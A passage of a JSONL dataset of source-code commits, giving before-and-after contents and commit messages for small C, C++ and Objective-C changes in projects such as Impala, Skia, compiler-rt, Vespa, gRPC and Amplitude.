IMPALA_UTIL_SCOPE_EXIT_TRIGGER_H\n\n#include <functional>\n\nnamespace impala {\n\n\/\/\/ Utility class that calls a client-supplied function when it is destroyed.\n\/\/\/\n\/\/\/ Use judiciously - scope exits can be hard to reason about, and this class should not\n\/\/\/ act as proxy for work-performing d'tors, which we try to avoid.\nclass ScopeExitTrigger {\n public:\n  ScopeExitTrigger(const std::function<void()>& trigger) : trigger_(trigger) {}\n\n  ~ScopeExitTrigger() { trigger_(); }\n\n private:\n  std::function<void()> trigger_;\n};\n}\n\n#endif\n","subject":"Remove 'auto' from parameter list","message":"IMPALA-4535: Remove 'auto' from parameter list\n\nAlthough GCC supports void f(auto arg) { }, this isn't part of C++14.\n\nTesting: Local ASAN build passed.\n\nChange-Id: I838aa2c1081f7ed21cc2faa209a9eaa4fd0512a4\nReviewed-on: http:\/\/gerrit.cloudera.org:8080\/5214\nReviewed-by: Tim Armstrong <2f8e34250f03a653da3dc27f7ec203eafdde80fc@cloudera.com>\nTested-by: Internal Jenkins\n","lang":"C","license":"apache-2.0","repos":"cloudera\/Impala,michaelhkw\/incubator-impala,michaelhkw\/incubator-impala,cloudera\/Impala,michaelhkw\/incubator-impala,cloudera\/Impala,cloudera\/Impala,cloudera\/Impala,cloudera\/Impala,michaelhkw\/incubator-impala,cloudera\/Impala,michaelhkw\/incubator-impala,michaelhkw\/incubator-impala,michaelhkw\/incubator-impala"}
{"commit":"e700990fa98002c380666c2a8b1541be675ff205","old_file":"solutions\/uri\/1022\/1022.c","new_file":"solutions\/uri\/1022\/1022.c","old_contents":"","new_contents":"#include <math.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n    int16_t n, a, b, c, d, r, num, den, num_r, den_r, j;\n    char o, i;\n\n    scanf(\"%d\", &n);\n    while (n--) {\n        scanf(\"%d %c %d %c %d %c %d\", &a, &i, &b, &o, &c, &i, &d);\n        switch (o) {\n            case '+':\n                num = (b * d) * a \/ b + (b * d) * c \/ d;\n                den = b * d;\n                break;\n            case '-':\n                num = (b * d) * a \/ b - (b * d) * c \/ d;\n                den = b * d;\n                break;\n            case '*':\n                num = a * c;\n                den = b * d;\n                break;\n            default:\n                num = a * d;\n                den = b * c;\n                break;\n        }\n\n        if (abs(num) < abs(den)) {\n            r = abs(num);\n        } else {\n            r = abs(den);\n        }\n\n        num_r = num;\n        den_r = den;\n\n        j = 2;\n        while (j <= r \/ 2 + 1) {\n            if (num_r % j == 0 && den_r % j == 0) {\n                num_r = num_r \/ j;\n                den_r = den_r \/ j;\n            } else {\n                j++;\n            }\n        }\n\n        printf(\"%d\/%d = %d\/%d\\n\", num, den, num_r, den_r);\n    }\n    return 0;\n}\n","subject":"Solve TDA Rational in c","message":"Solve TDA Rational in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"fe57f0a345dd24d56455755beb72f95c8194d3d9","old_file":"src\/main\/entity\/components\/SkillComponent.h","new_file":"src\/main\/entity\/components\/SkillComponent.h","old_contents":"#ifndef SKILLCOMPONENT_H_\n#define SKILLCOMPONENT_H_\n\n#include \"entity\/components\/AttributeComponent.h\"\n\n\/**\n * Data structure to represent an Entity's skill.\n *\/\ntypedef struct\n{\n\tint ranks; \/\/\/< Current ranks in the skill\n\tint xp; \/\/\/< Amount of XP earned towards next rank\n} SkillComponent;\n\n\/**\n * Enumeration for identifying different skills.\n *\/\nenum skill_t {\n\tMelee,\n\tSwords,\n\tBastardSword,\n\tMaces,\n\tSpikedMace,\n\tFirstAid\n};\n\n\/**\n * This array defines our parent skill relationships.\n *\n * If a skill's parent is itself, it has no parent.\n *\/\nconst skill_t PARENT_SKILLS[] = { Melee, Melee, Swords, Melee, Maces, FirstAid };\n\n\/**\n * This array defines our skill-attribute relationships.\n *\/\nconst attrtype_t SKILL_ATTRIBUTES[] = { Str, Str, Str, Str, Str, Int };\n\n#endif\n","new_contents":"#ifndef SKILLCOMPONENT_H_\n#define SKILLCOMPONENT_H_\n\n#include \"entity\/components\/AttributeComponent.h\"\n\n\/**\n * Data structure to represent an Entity's skill.\n *\/\ntypedef struct\n{\n\tint ranks; \/\/\/< Current ranks in the skill\n\tint xp; \/\/\/< Amount of XP earned towards next rank\n} SkillComponent;\n\n\/**\n * Enumeration for identifying different skills.\n * @todo: Dodge is actually a \"meta\" skill, one calculated from other attributes\n *\/\nenum skill_t {\n\tMelee,\n\tSwords,\n\tBastardSword,\n\tMaces,\n\tSpikedMace,\n\tFirstAid,\n\tDodge\n};\n\n\/**\n * This array defines our parent skill relationships.\n *\n * If a skill's parent is itself, it has no parent.\n *\/\nconst skill_t PARENT_SKILLS[] = { Melee, Melee, Swords, Melee, Maces, FirstAid, Dodge };\n\n\/**\n * This array defines our skill-attribute relationships.\n *\/\nconst attrtype_t SKILL_ATTRIBUTES[] = { Str, Str, Str, Str, Str, Int, Dex };\n\n#endif\n","subject":"Add Dodge skill as temporary hack","message":"Add Dodge skill as temporary hack\n\nI think I will implement an actual DefenseManager to handle calculating defenses on the fly; for now this works as a skill.\n","lang":"C","license":"mit","repos":"Kromey\/roglick"}
{"commit":"ce7258fa61fb2e04090ecbcaa402ecc55ff0ec62","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_GL_CUSTOM_SETUP_HEADER \"gl\/GrGLConfig_chrome.h\"\n  #define GR_TEST_UTILS 1\n  #define SKIA_DLL\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_IGNORE_LINEONLY_AA_CONVEX_PATH_OPTS\n  #define SK_LEGACY_SWEEP_GRADIENT\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n  #define SK_SUPPORT_LEGACY_BILERP_IGNORING_HACK\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_DRAWFILTER\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_GRADIENT_DITHERING\n  #define SK_SUPPORT_LEGACY_SHADER_ISABITMAP\n  #define SK_SUPPORT_LEGACY_TILED_BITMAPS\n#endif \/\/ SkUserConfigManual_DEFINED\n\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_GL_CUSTOM_SETUP_HEADER \"gl\/GrGLConfig_chrome.h\"\n  #define GR_TEST_UTILS 1\n  #define SKIA_DLL\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_IGNORE_LINEONLY_AA_CONVEX_PATH_OPTS\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n  #define SK_SUPPORT_LEGACY_BILERP_IGNORING_HACK\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_DRAWFILTER\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_GRADIENT_DITHERING\n  #define SK_SUPPORT_LEGACY_SHADER_ISABITMAP\n  #define SK_SUPPORT_LEGACY_TILED_BITMAPS\n#endif \/\/ SkUserConfigManual_DEFINED\n\n","subject":"Switch Skia to the new sweep gradient impl","message":"Switch Skia to the new sweep gradient impl\n\n(remove SK_LEGACY_SWEEP_GRADIENT)\n\nChange-Id: I967272af11b86223c92eea61288c6f2c5d27474f\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia"}
{"commit":"2a1aad729e09761ce45b9b283e2fb65da191d38c","old_file":"SDKs\/linux\/usr\/include\/sys\/mman.h","new_file":"SDKs\/linux\/usr\/include\/sys\/mman.h","old_contents":"\/* ===-- limits.h - stub SDK header for compiler-rt -------------------------===\n *\n *                     The LLVM Compiler Infrastructure\n *\n * This file is dual licensed under the MIT and the University of Illinois Open\n * Source Licenses. See LICENSE.TXT for details.\n *\n * ===-----------------------------------------------------------------------===\n *\n * This is a stub SDK header file. This file is not part of the interface of\n * this library nor an official version of the appropriate SDK header. It is\n * intended only to stub the features of this header required by compiler-rt.\n *\n * ===-----------------------------------------------------------------------===\n *\/\n\n#ifndef __SYS_MMAN_H__\n#define __SYS_MMAN_H__\n\ntypedef __SIZE_TYPE__ size_t;\n\n#define PROT_READ 0x1\n#define PROT_WRITE 0x1\n#define PROT_EXEC 0x4\n\nextern int mprotect (void *__addr, size_t __len, int __prot)\n  __attribute__((__nothrow__));\n\n#endif \/* __SYS_MMAN_H__ *\/\n","new_contents":"\/* ===-- limits.h - stub SDK header for compiler-rt -------------------------===\n *\n *                     The LLVM Compiler Infrastructure\n *\n * This file is dual licensed under the MIT and the University of Illinois Open\n * Source Licenses. See LICENSE.TXT for details.\n *\n * ===-----------------------------------------------------------------------===\n *\n * This is a stub SDK header file. This file is not part of the interface of\n * this library nor an official version of the appropriate SDK header. It is\n * intended only to stub the features of this header required by compiler-rt.\n *\n * ===-----------------------------------------------------------------------===\n *\/\n\n#ifndef __SYS_MMAN_H__\n#define __SYS_MMAN_H__\n\ntypedef __SIZE_TYPE__ size_t;\n\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n\nextern int mprotect (void *__addr, size_t __len, int __prot)\n  __attribute__((__nothrow__));\n\n#endif \/* __SYS_MMAN_H__ *\/\n","subject":"Fix braindead pasto, caught by Matt Beaumont-Gay.","message":"SDK\/linux: Fix braindead pasto, caught by Matt Beaumont-Gay.\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@146188 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"e8476178c71c887199a486746c0ea1694feb1bf6","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconstexpr float kCurrentVersion = 1.54f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconstexpr float kCurrentVersion = 1.55f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","subject":"Update version number to 1.55","message":"Update version number to 1.55\n","lang":"C","license":"apache-2.0","repos":"google\/UIforETW,google\/UIforETW,google\/UIforETW,google\/UIforETW"}
{"commit":"37ffe379713c08899981532bad1a9df96c7fd3e2","old_file":"src\/lib\/PMDPage.h","new_file":"src\/lib\/PMDPage.h","old_contents":"#pragma once\n#include \"geometry.h\"\n#include \"yaml_utils.h\"\n\n#include <vector>\n#include <boost\/shared_ptr.hpp>\n#include <librevenge\/librevenge.h>\n\nnamespace libpagemaker\n{\n\nclass PMDPage\n{\n  std::vector<boost::shared_ptr<PMDLineSet> > m_shapes;\npublic:\n  PMDPage() : m_shapes()\n  { }\n\n  void addShape(boost::shared_ptr<PMDLineSet> shape)\n  {\n    m_shapes.push_back(shape);\n  }\n\n  unsigned numShapes() const\n  {\n    return m_shapes.size();\n  }\n\n  boost::shared_ptr<const PMDLineSet> getShape(unsigned i) const\n  {\n    return m_shapes.at(i);\n  }\n\n  void emitYaml(yaml_emitter_t *emitter) const\n  {\n    yamlIndirectForeach(emitter, \"shapes\", m_shapes);\n  }\n};\n\n}\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n","new_contents":"#pragma once\n#include \"geometry.h\"\n#include \"yaml_utils.h\"\n\n#include <vector>\n#include <boost\/shared_ptr.hpp>\n#include <librevenge\/librevenge.h>\n\nnamespace libpagemaker\n{\n\nclass PMDPage\n{\n  std::vector<boost::shared_ptr<PMDLineSet> > m_shapes;\npublic:\n  PMDPage() : m_shapes()\n  { }\n\n  void addShape(boost::shared_ptr<PMDLineSet> shape)\n  {\n    m_shapes.push_back(shape);\n  }\n\n  unsigned numShapes() const\n  {\n    return m_shapes.size();\n  }\n\n  boost::shared_ptr<const PMDLineSet> getShape(unsigned i) const\n  {\n    return m_shapes.at(i);\n  }\n\n  void emitYaml(yaml_emitter_t *emitter) const\n  {\n    yamlBeginMap(emitter);\n    yamlIndirectForeach(emitter, \"shapes\", m_shapes);\n    yamlEndMap(emitter);\n  }\n};\n\n}\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n","subject":"Fix bug in shape yaml emit","message":"Fix bug in shape yaml emit\n","lang":"C","license":"mpl-2.0","repos":"umanwizard\/libpagemaker,umanwizard\/libpagemaker,umanwizard\/libpagemaker,anuragkanungo\/libpagemaker,anuragkanungo\/libpagemaker,umanwizard\/libpagemaker,anuragkanungo\/libpagemaker,umanwizard\/libpagemaker,anuragkanungo\/libpagemaker"}
{"commit":"a8122088474be0b8b2479e52a75ebf25a5a386f1","old_file":"lib\/libz\/zopenbsd.c","new_file":"lib\/libz\/zopenbsd.c","old_contents":"\/*\t$OpenBSD: zopenbsd.c,v 1.4 2015\/01\/20 04:41:01 krw Exp $\t*\/\n#include <sys\/types.h>\n#include <sys\/malloc.h>\n#include <lib\/libz\/zutil.h>\n\n\/*\n * Space allocation and freeing routines for use by zlib routines.\n *\/\nvoid *\nzcalloc(notused, items, size)\n    void *notused;\n    u_int items, size;\n{\n    return mallocarray(items, size, M_DEVBUF, M_NOWAIT);\n}\n\nvoid\nzcfree(notused, ptr)\n    void *notused;\n    void *ptr;\n{\n    free(ptr, M_DEVBUF, 0);\n}\n","new_contents":"#include <sys\/types.h>\n#include <sys\/malloc.h>\n#include <lib\/libz\/zutil.h>\n\n\/*\n * Space allocation and freeing routines for use by zlib routines.\n *\/\nvoid *\nzcalloc(notused, items, size)\n    void *notused;\n    u_int items, size;\n{\n    return mallocarray(items, size, M_DEVBUF, M_NOWAIT);\n}\n\nvoid\nzcfree(notused, ptr)\n    void *notused;\n    void *ptr;\n{\n    free(ptr, M_DEVBUF, 0);\n}\n","subject":"Revert some $OpenBSD$ additions about which there are doubts.","message":"Revert some $OpenBSD$ additions about which there are doubts.\n\nSuggested by deraadt@\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"14ca78ef6e4f09ca085f0d19c9029895d5c57376","old_file":"inc\/WalkerException.h","new_file":"inc\/WalkerException.h","old_contents":"\/\/! \\file WalkerException.h\n\n#ifndef WALKEREXCEPTION_H\n#define WALKEREXCEPTION_H\n\n#include <stdexcept>\n#include <string>\n\nnamespace WikiWalker\n{\n  \/\/! (base) class for exceptions in WikiWalker\n  class WalkerException : public std::runtime_error\n  {\n  public:\n    \/*! Create a Walker exception with a message.\n     *\n     * Message might be shown on exception occurring, depending on\n     * the compiler.\n     *\n     * \\param exmessage The exception message.\n     *\/\n    explicit WalkerException(std::string exmessage) : runtime_error(exmessage)\n    {\n    }\n  };\n}  \/\/ namespace WikiWalker\n#endif  \/\/ WALKEREXCEPTION_H\n","new_contents":"\/\/! \\file WalkerException.h\n\n#ifndef WALKEREXCEPTION_H\n#define WALKEREXCEPTION_H\n\n#include <stdexcept>\n#include <string>\n\nnamespace WikiWalker\n{\n  \/\/! (base) class for exceptions in WikiWalker\n  class WalkerException : public std::runtime_error\n  {\n  public:\n    \/*! Create a Walker exception with a message.\n     *\n     * Message might be shown on exception occurring, depending on\n     * the compiler.\n     *\n     * \\param exmessage The exception message.\n     *\/\n    explicit WalkerException(const std::string& exmessage) : runtime_error(exmessage)\n    {\n    }\n  };\n}  \/\/ namespace WikiWalker\n#endif  \/\/ WALKEREXCEPTION_H\n","subject":"Use const reference for exception","message":"Use const reference for exception\n","lang":"C","license":"mit","repos":"dueringa\/WikiWalker"}
{"commit":"42602d2256e80bd1805a4d8970773be48d6e00f5","old_file":"searchlib\/src\/vespa\/searchlib\/tensor\/hnsw_index_loader.h","new_file":"searchlib\/src\/vespa\/searchlib\/tensor\/hnsw_index_loader.h","old_contents":"\/\/ Copyright Verizon Media. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <cstdint>\n\nnamespace search::fileutil { class LoadedBuffer; }\n\nnamespace search::tensor {\n\nclass HnswGraph;\n\n\/**\n * Implements loading of HNSW graph structure from binary format.\n **\/\nclass HnswIndexLoader {\npublic:\n    HnswIndexLoader(HnswGraph &graph);\n    ~HnswIndexLoader();\n    bool load(const fileutil::LoadedBuffer& buf);\nprivate:\n    HnswGraph &_graph;\n    const uint32_t *_ptr;\n    const uint32_t *_end;\n    bool _failed;\n    uint32_t next_int() {\n        if (__builtin_expect((_ptr == _end), false)) {\n            _failed = true;\n            return 0;\n        }\n        return *_ptr++;\n    }\n};\n\n}\n","new_contents":"\/\/ Copyright Verizon Media. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <cstdint>\n\nnamespace search::fileutil { class LoadedBuffer; }\n\nnamespace search::tensor {\n\nstruct HnswGraph;\n\n\/**\n * Implements loading of HNSW graph structure from binary format.\n **\/\nclass HnswIndexLoader {\npublic:\n    HnswIndexLoader(HnswGraph &graph);\n    ~HnswIndexLoader();\n    bool load(const fileutil::LoadedBuffer& buf);\nprivate:\n    HnswGraph &_graph;\n    const uint32_t *_ptr;\n    const uint32_t *_end;\n    bool _failed;\n    uint32_t next_int() {\n        if (__builtin_expect((_ptr == _end), false)) {\n            _failed = true;\n            return 0;\n        }\n        return *_ptr++;\n    }\n};\n\n}\n","subject":"Fix forward declaration of HnswGraph.","message":"Fix forward declaration of HnswGraph.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"9cd078f86a3f80bf532f348e1f4722937f91c0b6","old_file":"lib\/libstand\/assert.c","new_file":"lib\/libstand\/assert.c","old_contents":"\/*-\n * Copyright (c) 1998 Michael Smith.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#include <stand.h>\n#include <assert.h>\n\nvoid\n__assert(const char *file, int line, const char *expression)\n{\n    printf(\"assertion \\\"%s\\\" failed: file \\\"%s\\\", line %d\\n\", expression, file, line);\n    exit();\n}\n","new_contents":"\/*-\n * Copyright (c) 1998 Michael Smith.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#include <assert.h>\n\n#include \"stand.h\"\n\nvoid\n__assert(const char *file, int line, const char *expression)\n{\n    printf(\"assertion \\\"%s\\\" failed: file \\\"%s\\\", line %d\\n\", expression, file, line);\n    exit();\n}\n","subject":"Make include file consistent with the rest of libstand.","message":"Make include file consistent with the rest of libstand.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"939d3a1e74e0d1ecf1d24e3368fdf4cf56301ae1","old_file":"Amplitude\/Amplitude+SSLPinning.h","new_file":"Amplitude\/Amplitude+SSLPinning.h","old_contents":"#ifdef AMPLITUDE_SSL_PINNING\n\/\/\n\/\/  Amplitude+SSLPinning\n\/\/  Amplitude\n\/\/\n\/\/  Created by Allan on 3\/11\/15.\n\/\/  Copyright (c) 2015 Amplitude. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface Amplitude (SSLPinning)\n\n@property (nonatomic, assign) BOOL sslPinningEnabled;\n\n@end\n#endif\n","new_contents":"\/\/\n\/\/  Amplitude+SSLPinning\n\/\/  Amplitude\n\/\/\n\/\/  Created by Allan on 3\/11\/15.\n\/\/  Copyright (c) 2015 Amplitude. All rights reserved.\n\/\/\n\n@import Foundation;\n#import \"Amplitude.h\"\n\n@interface Amplitude (SSLPinning)\n\n#ifdef AMPLITUDE_SSL_PINNING\n@property (nonatomic, assign) BOOL sslPinningEnabled;\n#endif\n\n@end\n","subject":"Fix import so it doesn't corrupt debug console","message":"[Debug] Fix import so it doesn't corrupt debug console\n","lang":"C","license":"mit","repos":"amplitude\/Amplitude-iOS,amplitude\/Amplitude-iOS,amplitude\/Amplitude-iOS,amplitude\/Amplitude-iOS"}
{"commit":"c7ec0fabc589ebb1837000d9cde36066ce5a7b85","old_file":"C\/Language\/preprocessor_voodoo.c","new_file":"C\/Language\/preprocessor_voodoo.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#define _Q(x) #x\n#define Q(x) _Q(x)\n#define print_calc(_a, _b, _op) printf(\"%2d \"Q(_op)\" %2d = %d\\n\", _a, _b, _a _op _b)\n\n#define rand_num(x) rand() % x + 1\n\n#define print_block(OP) \\\n    _a1 = rand_num(20); \\\n    _b1 = rand_num(20); \\\n    print_calc(_a1, _b1, OP); \\\n    _a1 = rand_num(20); \\\n    _b1 = rand_num(20); \\\n    print_calc(_a1, _b1, OP); \\\n    _a1 = rand_num(20); \\\n    _b1 = rand_num(20); \\\n    print_calc(_a1, _b1, OP); \\\n    _a1 = rand_num(20); \\\n    _b1 = rand_num(20); \\\n    print_calc(_a1, _b1, OP); \\\n    printf(\"\\n\");\n\nint main() {\n    srand(time(NULL));\n\n    int _a1, _b1;\n    print_block(+);\n    print_block(-);\n    print_block(*);\n    print_block(\/);\n\n    return 0;\n}\n","subject":"Work from MacBook & PC","message":"[Merge] Work from MacBook & PC\n","lang":"C","license":"mit","repos":"CajetanP\/code-learning,CajetanP\/code-learning,CajetanP\/code-learning,CajetanP\/code-learning,CajetanP\/code-learning,CajetanP\/code-learning,CajetanP\/code-learning,CajetanP\/code-learning,CajetanP\/code-learning,CajetanP\/code-learning"}
{"commit":"5b329fd1aa5a6a1ff4ae1d9b6c83e33342392c31","old_file":"src\/objective-c\/GRPCClient\/GRPCCall+Interceptor.h","new_file":"src\/objective-c\/GRPCClient\/GRPCCall+Interceptor.h","old_contents":"\/*\n *\n * Copyright 2019 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#import \"GRPCCall.h\"\n\n@protocol GRPCInterceptorFactory;\n\n@interface GRPCCall2 (Interceptor)\n\n+ (void)registerGlobalInterceptor:(id<GRPCInterceptorFactory>)interceptorFactory;\n\n+ (id<GRPCInterceptorFactory>)globalInterceptorFactory;\n\n@end\n","new_contents":"\/*\n *\n * Copyright 2019 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n\/\/ The global interceptor feature is experimental and might be modified or removed at any time.\n\n#import \"GRPCCall.h\"\n\n@protocol GRPCInterceptorFactory;\n\n@interface GRPCCall2 (Interceptor)\n\n+ (void)registerGlobalInterceptor:(id<GRPCInterceptorFactory>)interceptorFactory;\n\n+ (id<GRPCInterceptorFactory>)globalInterceptorFactory;\n\n@end\n","subject":"Add experimental notice to global interceptor","message":"Add experimental notice to global 